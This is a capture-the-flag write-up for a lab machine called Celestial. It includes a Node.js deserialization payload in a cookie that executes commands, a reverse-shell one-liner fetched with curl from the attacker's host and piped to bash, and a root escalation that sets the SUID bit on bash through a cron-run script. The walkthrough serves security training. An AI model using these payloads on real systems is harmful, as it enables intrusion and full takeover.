Celestial is a very easy machine that for some reason is ranked medium.

It’s very simple, first we will do a Node.js deserialization attack to get RCE and a reverse shell.

And for root we will inject a command in a script that’s being executed as a crontab

Recon

Nmap

Nmap finds only one opened port:

❯ nmap -p- -sS --min-rate 5000 --open -v -n -Pn 10.129.75.136 -oG allPorts

Host discovery disabled (-Pn). All addresses will be marked up and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-12 15:48 -05
Initiating SYN Stealth Scan at 15:48
Scanning 10.129.75.136 [65535 ports]
Discovered open port 3000/tcp on 10.129.75.136
Completed SYN Stealth Scan at 15:48, 14.77s elapsed (65535 total ports)
Nmap scan report for 10.129.75.136
Host is up (0.16s latency).
Not shown: 65534 closed tcp ports (reset)
PORT     STATE SERVICE
3000/tcp open  ppp

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.88 seconds
           Raw packets sent: 72461 (3.188MB) | Rcvd: 72456 (2.898MB)

Let’s inspect it deeper with parameters -sCV:

❯ nmap -sCV -p3000 10.129.75.136 -oN targeted

Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-12 15:49 -05
Nmap scan report for 10.129.75.136
Host is up (0.17s latency).

PORT     STATE SERVICE VERSION
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.02 seconds

HTTP server

It’s an http server running Node.js, let’s take a look:

Hello Friend Hello Friend

We get a “404” but after a reload we get different content.

The website doesn’t seem to be doing much.

Checking for cookies we have one: Hello Friend

❯ echo 'eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==' | base64 -d

{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}


❯ echo '{"username":"l0gan334","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}' | base64 -w 0
eyJ1c2VybmFtZSI6ImwwZ2FuMzM0IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQo=

Let’s try to change the values: Hello Friend

Node.js deserialization attack

It looks like our cookie is being deserialized and interpreted by the website.

As it’s running Node.js it directly leads me to think about a Node.js deserialization attack. Here you have very useful blog that explains the vulnerability:

https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

We can exploit this vulnerability with this oneliner that will execute a command once it’s deserialized:

{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('whoami',function(error, stdout, stderr) { console.log(stdout) });}()"}

Let’s encode this in base64 and inject it in the cookie field:

Hello Friend

We get an error, but maybe the command is still being executed so let’s try to get us a reverse shell.

❯ echo 'bash -i >& /dev/tcp/10.10.14.161/334 0>&1' > index.html

❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

We will share an index.html in a http server with the usual command we use to get a reverse shell in bash.

And from the injection, we will make the machine curl to our http server and execute the index with bash:

{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('curl 10.10.14.161|bash',function(error, stdout, stderr) { console.log(stdout) });}()"}

Set the netcat and send the payload in the web:

❯ nc -lvnp 334
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::334
Ncat: Listening on 0.0.0.0:334
Ncat: Connection from 10.129.75.136.
Ncat: Connection from 10.129.75.136:36800.
bash: cannot set terminal process group (3676): Inappropriate ioctl for device
bash: no job control in this shell
sun@sun:~$

We get a shell but not an interactive tty, so if we do ^C we lose the connection with a tty treatment we can fix this:

sun@sun:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
sun@sun:~$ ^Z
zsh: suspended  nc -lvnp 334

❯ stty raw -echo; fg
[1]  + continued  nc -lvnp 334
                              reset xterm

And lastly some final touches like the screen size (you can get yours doing stty size):

sun@sun:~$ export TERM=xterm
sun@sun:~$ export SHELL=bash
sun@sun:~$ stty rows 40 columns 145

Inside our home directoy we see a Windows like folder structure, and inside Documents we have the user.txt:

sun@sun:~/Documents$ ls
script.py  user.txt
sun@sun:~/Documents$ cat user.txt
9a093cd22ce86b******************

Privesc

Inside our home directory we see an output.txt:

sun@sun:~$ cat output.txt
Script is running...

Pspy

There’s probably a crontab running so let’s deploy pspy:

sun@sun:/tmp$ ./pspy
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░
                   ░           ░ ░
                               ░ ░

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2022/07/12 17:30:33 CMD: UID=0    PID=97     |

After some minutes we see this:

2022/07/12 17:35:01 CMD: UID=0    PID=6019   | python /home/sun/Documents/script.py
2022/07/12 17:35:01 CMD: UID=0    PID=6018   | /bin/sh -c python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py

Root is executing a script inside /home/sun/Documents/, we know this because of the UID. Let’s check if we have any permissions over this file:

sun@sun:/tmp$ ls -l /home/sun/Documents/script.py
-rw-rw-r-- 1 sun sun 29 Sep 21  2017 /home/sun/Documents/script.py

Execution as root

We can write anything we want in this file so it doesn’t get any easier than just executing a command in python.

I will change the bash privileges to SUID:

import os
os.system("chmod u+s /bin/bash")

Now once the script is executed again this command will be run and we can spawn a bash as root:

sun@sun:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1037528 Jun 24  2016 /bin/bash
sun@sun:/tmp$ bash -p
bash-4.3# whoami
root

Very simple. Now we can get the root.txt:

bash-4.3# cat /root/root.txt
ba1d0019200a54******************

See you next time!